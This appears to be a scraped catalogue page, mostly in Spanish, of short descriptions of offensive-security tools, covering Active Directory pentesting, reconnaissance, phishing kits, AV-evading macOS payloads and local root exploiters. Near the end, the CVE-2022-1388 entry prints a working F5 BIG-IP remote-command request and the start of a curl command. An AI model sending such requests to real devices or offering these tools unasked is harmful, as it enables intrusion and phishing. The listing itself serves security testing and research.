linWinPwn

linWinPwn - Navaja suiza para el pentesting de Active Directory usando Linux Descripción linWinPwn es un script de bash que envuelve una serie de herramientas de Active Directory para enumeración LDAP, RPC, ADCS, MSSQL, Kerberos, SCCM, comprobaciones de vulnerabilidades noPac, ZeroLogon, MS17-010...

Hacknetics

Hacknetics Hacknetics 🛡️ Propietario: ice-wzl Colaboradores: ice-wzl, Jfox32199 Por favor, considera donar: https://buymeacoffee.com/icewzl Descripción: ¡Tu referencia integral para OSCP y Red Teaming! 🚀 Este repositorio contiene una colección curada de fragmentos de código, guías, sintaxis de...

pivotool

pivotool pivotool en el hacking ético, como era de esperar, es una herramienta simple escrita en bash que puede ayudarte en la fase de post-explotación para pivotar a otros sistemas. Descripción Pivotool es una herramienta que no pretende revolucionar la fase de post-explotación de una prueba de...

I-See-You

I-See-You ISeeYou es una herramienta Bash y Javascript para encontrar la ubicación exacta de los usuarios durante actividades de ingeniería social o phishing. Usando coordenadas de ubicación exactas, un atacante puede realizar un reconocimiento preliminar que le ayudará a llevar a cabo ataques má...

p-gen

SOBRE LA HERRAMIENTA : La herramienta P-gen es un script basado en Python que crea/genera contraseñas aleatorias en fracciones de segundo. Esta herramienta funciona tanto en dispositivos Android rooteados como no rooteados...

MIDA-Multitool

MIDA - Multitool Script Bash diseñado para enumeración del sistema, identificación de vulnerabilidades y escalada de privilegios. MIDA Multitool extrae funcionalidad de varios de mis scripts anteriores, concretamente SysEnum y RootHelper y, en cierto modo, es el sucesor de RootHelper, o al menos ...

Armor

Armor Armor es un script Bash simple diseñado para crear payloads cifrados de macOS capaces de evadir escáneres antivirus. A continuación, se muestra un ejemplo en gif de Armor siendo utilizado con un payload Netcat simple. Se inicia un listener Netcat en el puerto 4444. El archivo "payload.txt" ...

EternalView

EternalView EternalView es una herramienta CLI de recopilación básica de información todo en uno hecha puramente en BASH EternalView en acción PRECAUCIÓN: Esta herramienta es únicamente con fines educativos, no la uses en ningún sitio web sin el permiso de su propietario. ¡El usuario es responsab...

IntRec-Pack

IntRec-Pack Instalador de paquete/lote de Inteligencia y Reconocimiento. IntRec-Pack es un script Bash diseñado para descargar, instalar e implementar varias herramientas de OSINT, Reconocimiento e Inteligencia de Amenazas de calidad. Debido a que también gestiona la instalación de las diversas...

Flerken

Flerken Introducción Se ha demostrado que la Ofuscación de Línea de Comandos CLOB es un factor no despreciable en el malware sin archivos o actores maliciosos que "viven de la tierra". Aunque se ven docenas de herramientas de ofuscación en la naturaleza, pocas contramedidas adecuadas se pueden...

bug-bounty-tools

Bug Bounty Script A BASH Script to automate the installation of the most popular bug bounty tools, the main purpose of this script is to run it on temporary/disposable virtual machines in the cloud. Tools Used Nuclei httpx Naabu Subfinder DNSx Nmap Katana Recox Wfuzz Amass SQLMap Setup 1. Copy or...

WAES

WAES - Escáner y Enumeración Web Automática Versión 1.2.77 WAES es una plataforma profesional de enumeración y reconocimiento web basada en bash, diseñada para competiciones Capture The Flag CTF, cacería de Bug Bounties y Pruebas de Penetración. Automatiza el complejo flujo de trabajo del escaneo...

BugBountyScanner

BugBountyScanner Un script Bash y una imagen Docker para reconocimiento de Bug Bounty, pensado para uso sin interfaz gráfica. Bajo en recursos, alto en salida de información. ¿Útil? ¿BugBountyScanner te ayudó a conseguir un bounty? Descripción ⚠ Nota: Se recomienda encarecidamente usar el script ...

reconftw

reconFTW reconFTW es una potente herramienta automatizada de reconocimiento diseñada para investigadores de seguridad y pentesters. Agiliza el proceso de recopilación de inteligencia sobre un objetivo mediante la enumeración de subdominios, el escaneo de vulnerabilidades, OSINT y más. Con un dise...

AIDOR

AIDOR 👁️ - Detector Automatizado de Referencia Directa a Objetos Insegura AIDOR Detector Automatizado de IDOR es una utilidad profesional de Bash para probadores de penetración autorizados para identificar vulnerabilidades de Referencia Directa a Objetos Insegura IDOR en aplicaciones web. Detecta...

lxancephisher

Una herramienta de phishing automatizada y amigable para principiantes con más de 30 plantillas. Descargo de responsabilidad Cualquier acción y/o actividad relacionada conlxancephisher es de tu exclusiva responsabilidad. El mal uso de este conjunto de herramientas puede dar lugar a cargos penales...

discover

Discover Scripts personalizados de Bash y Python utilizados para automatizar diversas tareas de pruebas de penetración, incluyendo reconocimiento, escaneo, enumeración y creación de payloads maliciosos usando Metasploit. Para usar con Ubuntu. Soporte limitado para Kali Linux. Lee Baird...

LARE

LARE L ocal A uto R oot E xploiter es un script bash simple que te ayuda a desplegar exploits de root locales desde tu máquina atacante cuando tu máquina víctima no tiene conectividad a internet. El script es útil en un escenario donde tu máquina víctima no tiene conexión a internet por ejemplo...

CVE-2022-1388_PoC

F5 BIG-IP RCE exploitation CVE-2022-1388 POST 1: POST /mgmt/tm/util/bash HTTP/1.1 Host: :8443 Authorization: Basic YWRtaW46 Connection: keep-alive, X-F5-Auth-Token X-F5-Auth-Token: 0 "command": "run" , "utilCmdArgs": " -c 'id' " curl commandliner: $ curl -i -s -k -X $'POST' \ -H $'Host: :8443' \ ...

CVE-2022-1388-Exploit

CVE-2022-1388-Exploit Test and Exploit Scripts for CVE 2022-1388 F5 Big-IP masscheck.py will take a file input and check the hosts are vulnerable without exploiting them. Detection: Scanning for /mgmt/tm/util/bash as an endpoint, likely to be in web server logs. Or if you have a F5 go patch it, t...